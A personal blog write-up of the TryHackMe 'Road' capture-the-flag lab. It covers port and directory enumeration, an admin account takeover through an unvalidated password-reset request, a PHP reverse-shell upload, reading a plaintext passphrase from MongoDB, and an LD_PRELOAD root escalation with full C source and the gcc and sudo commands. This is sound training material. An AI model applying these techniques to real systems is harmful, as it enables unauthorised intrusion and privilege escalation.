## **ROAD – TRYHACKME WRITEUP**

Welcome to my first writeup of a TryHackMe lab. I am learning that reviewing a lab afterwards helps to cement important things in and progress forward. After 19 successfully completed labs I have decided to take the blog writing leap. Maybe someone will like this style, may not, but experience comes in all forms.

Please note that in support of making Cyber-security accessible to everyone, this and any writeups will most likely not contain any images. Feel free to read more about accessibility in cyber security <https://www.itu.int/en/mediacentre/backgrounders/Pages/accessibility-to-ict.aspx>

Into the room we go...

-------------------------------------

Road is a medium difficulty room based on a reallife penetration test which should make it more realistic than our regular CTFs. As always 'Knowledge is Power'

**#ENUMERATION**

With our IP address obtained, we perform a Rustscan. Rustscan is a port scanner that facilitates Nmap (Network Mapper) to run faster which is a serious help because Nmap scans sometimes take incredibly long times to complete.

**rustscan -a <IP> -r 0-65535 -b 900 -t 5000 -- -sC -sV -version-light -v -oN RoadRustScan**

-a : for our target IP

-r : the range of ports that we want to scan (all of them in this case)

-b : batch size, slows down Rustscan so as not to miss out important things (sometimes fast is not good)

-t : our timeout for failed requests, 5 seconds

-- : piping the information to nmap to carry out further scans

-sC: perform basic script scans

-sV: show the service versions running on the ports

-version-light: slightly improves the version scan, can be made more intense

-v : show information on what the scan is doing

-oN: Save out output into RoadRustScan

The Scan results:

--------------------

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 3072 e6:dc:88:69:de:a1:73:8e:84:5b:a1:3e:27:9f:07:24 (RSA)

| ssh-rsa 

| 256 6b:ea:18:5d:8d:c7:9e:9a:01:2c:dd:50:c5:f8:c8:05 (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBLTibnpRB37eKji7C50xC9ujq7UyiFQSHondvOZOF7fZHPDn3L+wgNXEQ0wei6gzQfiZJmjQ5vQ88vEmCZzBI=

| 256 ef:06:d7:e4:b1:65:15:6e:94:62:cc:dd:f0:8a:1a:24 (ED25519)

|\_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPv3g1IqvC7ol2xMww1gHLeYkyUIe8iKtEBXznpO25Ja

80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))

|\_http-title: Sky Couriers

| http-methods:

|\_ Supported Methods: HEAD GET POST OPTIONS

|\_http-favicon: Unknown favicon MD5: FB0AA7D49532DA9D0006BA5595806138

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

--------------------

From our scan results we see that, SSH is running on Port 22 and there is a web server running on Port 80. The server is running on Linux OS and by the looks of it Ubuntu. Navigating to the IP we come up with the Sky Couriers website. We can browse it and the only place for a user input is tracking a package and sending a message the business. This may be a opportunity for XSS or SQL injection. I have the Wapplalyzer extension installed and I can see the Rustscan results confirmed along with other results. The web server is running on Apache 2.4.41 and the site is written in PHP with various other technologies being implemented.

As we are dealing with a web server, time to run my favorite web tool, *FFUF - Ffuz faster U Fool.*

**proxychains ffuf -u http://IP/FUZZ -w ~/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -recursion -recursion-depth 2 -t 30**

proxychains : not required but basically makes the ffuf scan stealthier by running through the Tor network

-u : the url

-w : the wordlist being used to ffuz

-recursion: turning on recursion scan

-recursion-depth: tell ffuf to perform a recursion scan to a depth level of 2 for found directories

-t 30: should run 30 threads, determines the speed. This is based on your available bandwidth.

We found

|\_\_**/assets**

This contains files, images, scripts and css used by the website. There was nothing intresting.

|\_\_**/v2**

this directory also had /admin

|\_\_**/phpMyAdmin**

Upon perfroming a Google search we found that phpMyAdmin is a database management tool which means that we have a database running around somewhere on the server. This enforces our assumption that possible SQL injection is possible. We tried to use default credentials to log in but no success.

Navigating to the /v2 directory, we are redirected to a login page --> <http://IP/v2/admin/login.html>

We create a test user to see what we can find inside. Logging in with our test user, we are presented with a dashboard. Most of the links are unreachable but we see we have the option to change our password and change our profile details. In the profile section, there is an option to upload a profile picture which means that may be an opportunity to upload a reverse shell. However, this feature is unlocked only for the admin; therefore we need to be the admin user. There is a email address to contact the admin. Remembering that the login page uses email addresses to login in, all we need is a password. Can we use the reset password function to our advantage? I won't go into depth but you can also perform a ffuf scan on the user dashboard to find pages as an authenticated user though this did not yield any useful results. Remember to set the authenticated cookie if going down this path.

Loading Burpe Suite, we change our test users password and intercept the request. In plain text we see our test users email which we change to the admins email we found. We forward the request, sign out of our test user account and attempt to log into the admins account. Success. This worked because the site did not validate the username. We are now in the admins dashboard and have the ability to upload a "profile picture".

We modify Pentest Monkey web shell from Github to our Tun0 IP address, change the connecting port and set up a Netcat listener on our machine. We upload the shell. The site also does not restrict any uploads which is helpful for us but insecure for them. The profile picture is saved in a directory which is found by examining the source code of the available pages. The server also does not perform any renaming of files so we can easily find our shell and run it giving us a shell.

**#POST-EXPLOITATION 1**

By running the *whoami* command we see we are *www-data* and part of the default groups. Checking the /home directory we have another user who has sudo rights (the '.sudo\_as\_admin' file is present. Other commands such as *hostnamectl, netstat*, etc. Check what other tools you have such as curl, wget, compilers etc as this can be helpful in order to get a idea of the environment we are; in which is always a good idea. We now need to perform horizontal escalation in order to fulfil our primary objective, root.

*cat /etc/passwd*

|\_\_shows us that our assumption of a database being present was correct as we see the MongoDB running as a service user.

I personally have not used Mongo or any database directly which is where Google searching for things which you do not understand is important. The database is interacted by running mongo; which drops us into a database shell.

I found this site was useful in enumerating the database [*https://blog.e-zest.com/basic-commands-for-mongodb*](https://blog.e-zest.com/basic-commands-for-mongodb)

1. Look for databases that exist on the server

2. Check what tables exist in each of the databases

3. Look for data in the tables.

We find our user who can log in to the server and we find a passphrase stored in plain text. Is it possible that this is the users SSH passphrase??

New terminal, attempt and yes, we have successfully escalated our privileges horizontally.

**#POST-EXPLOITATION 2**

Running sudo -l the found user has the permissions to run a certain program. The LD\_PRELOAD environment variable is also set. We know that the gcc compilier is present. We can create a C program that will give us root privileges.

#include<stdio.h>

#include<sys/types.h>

#include<stdlib.h>

void \_init(){

unsetenv("LD\_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

Save the program with a .c extension.

Compile the code as a shared object

***|\_\_ gcc -fPIC -shared -nostartfiles code.c -o root.so***

After successful compilation, a few warnings may be thrown which is alright, load the program that can run with sudo rights while setting the LD\_PRELOAD option.

|\_\_ **sudo LD\_PRELOAD=/home/user/yourcode.so /usr/bin/program \_with\_sudo\_rights**

A root shell should spawn and the room objectives are achieved.

-------------------------------------------

Important Take-Aways

- Fully enumerate a machine in order to understand what exactly you are working with.

- If the */etc/passwd* file is readable, take a peak in order to understand the services that are running as users.

- If a service is found which is unknown, google how to run commands in it, view the in-built help command and see online examples or check on your own machine (if running Linux) Even the best real-world hackers ask for help when stuck.

- If all else fails and your completely stuck, it is alright to have a look at other writeups.

- Password reusing is not a good idea as we can see, use different passwords.